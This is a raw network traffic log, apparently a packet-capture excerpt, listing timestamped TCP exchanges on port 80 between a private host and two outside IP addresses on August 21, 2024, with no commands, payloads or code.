Aug 21, 2024 08:32:14.537194967 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.537201881 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.537240982 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.537242889 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.537246943 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.537257910 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.537290096 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.537369967 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.537375927 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.537386894 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.537417889 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.537429094 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.537492990 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.537497997 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.537509918 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.537513971 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.537545919 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.537566900 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.538122892 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.538167953 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.538176060 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.538182020 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.538224936 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.538321018 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.538331032 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.538336039 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.538341999 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.538346052 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.538372993 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.538430929 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.538491964 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.538541079 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.538711071 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.538718939 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.538728952 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.538734913 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.538739920 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.538749933 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.538770914 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.538777113 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.538801908 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.538813114 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.576569080 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.576587915 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.576597929 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.576625109 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.576632023 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.576651096 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.576663017 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.576704025 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.576704979 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.576739073 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.576745033 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.576786995 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.576822042 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.576828003 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.576833963 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.576839924 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.576885939 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.576915026 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.576942921 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.576948881 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.576961040 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.576997995 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.577038050 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.577044010 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.577054977 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.577060938 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.577116013 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.577132940 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.577203035 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.577749968 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.577768087 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.577771902 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.577816010 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.577816963 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.577848911 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.577855110 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.577860117 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.577902079 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.577902079 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.577956915 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.577963114 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.577980042 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578021049 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.578039885 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578047037 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578088045 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.578093052 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578100920 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578150034 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.578181028 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578186989 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578191996 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578241110 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.578268051 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578274012 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578279972 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578285933 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578295946 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578321934 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.578355074 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.578355074 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.578376055 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578381062 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578427076 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.578481913 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578494072 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578495979 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578497887 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578502893 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578507900 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578670025 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578675985 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578686953 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578691959 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578696966 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578706980 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.578736067 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.578841925 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578847885 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578857899 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578864098 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578869104 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.578902960 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.578926086 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.578994989 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.579000950 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.579011917 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.579015970 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.579020977 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.579046011 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.579051971 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.579056025 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.579061985 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.579088926 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.579088926 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.579125881 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.579341888 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.579411983 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.579417944 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.579441071 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.579488993 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.579507113 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.579513073 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.579524994 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.579530954 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.579569101 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.579664946 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.579670906 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.579680920 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.579685926 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.579691887 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.579720974 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.579747915 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.579807043 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.579816103 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.579818010 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.579838037 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.579849958 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.579857111 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.579860926 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.579863071 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.579885960 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.579907894 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.580100060 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580106020 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580121040 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580127954 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580132961 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580137968 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580142975 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580149889 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580152988 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.580189943 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.580189943 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.580379963 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580384970 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580395937 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580440998 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.580476999 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580490112 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580495119 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580499887 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580504894 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580509901 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580514908 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580526114 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.580548048 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.580724955 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580735922 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580740929 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580787897 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.580846071 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580852032 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580857992 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580862999 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580868006 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580879927 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580884933 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580889940 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580894947 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.580898046 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580902100 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580914021 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.580919981 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.580948114 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.580974102 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.613915920 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.613934994 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.613945961 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.613950968 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.613955975 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.613961935 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.613980055 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.613985062 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.613991022 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.614027977 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.614062071 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.614113092 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.614119053 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.614129066 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.614135027 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.614140034 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.614146948 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.614175081 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.614207029 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.614862919 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.614869118 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.614880085 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.614926100 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.614928007 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.614933968 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.614944935 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.615061045 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.615067005 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.615072012 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.615077972 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.615097046 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.615098000 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.615130901 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.615698099 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.615752935 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.615767956 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.615772963 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.615786076 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.615813971 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.615847111 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.615853071 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.615863085 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.615868092 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.615900993 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.615925074 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.615957022 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.615962982 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.615973949 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.616008043 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.616636992 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.616653919 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.616663933 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.616703987 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.616743088 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.616749048 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.616780043 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.616785049 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.616797924 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.616820097 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.616861105 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.616867065 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.616878033 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.616916895 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.617532015 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.617537975 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.617547989 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.617607117 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.617633104 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.618338108 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.618381023 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.618386030 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.618449926 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.618485928 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.618499041 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.618503094 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.618513107 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.618541002 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.618551016 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.618567944 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.618573904 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.618581057 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.618587017 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.618623018 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.618645906 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.618683100 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.618704081 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.618715048 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.618746042 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.618748903 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.618791103 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.618791103 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.618844986 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.618882895 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.618889093 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.618900061 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.618905067 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.618911982 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.618927956 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.618953943 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.619244099 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.619251013 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.619256020 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.619266033 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.619281054 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.619287014 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.619294882 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.619322062 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.619349957 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.619385958 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.619417906 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.619435072 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.619440079 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.619445086 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.619463921 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.619484901 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.619546890 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.619553089 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.619559050 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.619563103 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.619585991 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.619601965 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.619805098 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.619815111 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.619858027 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.619879007 CEST	80	49722	162.241.203.25	192.168.2.6
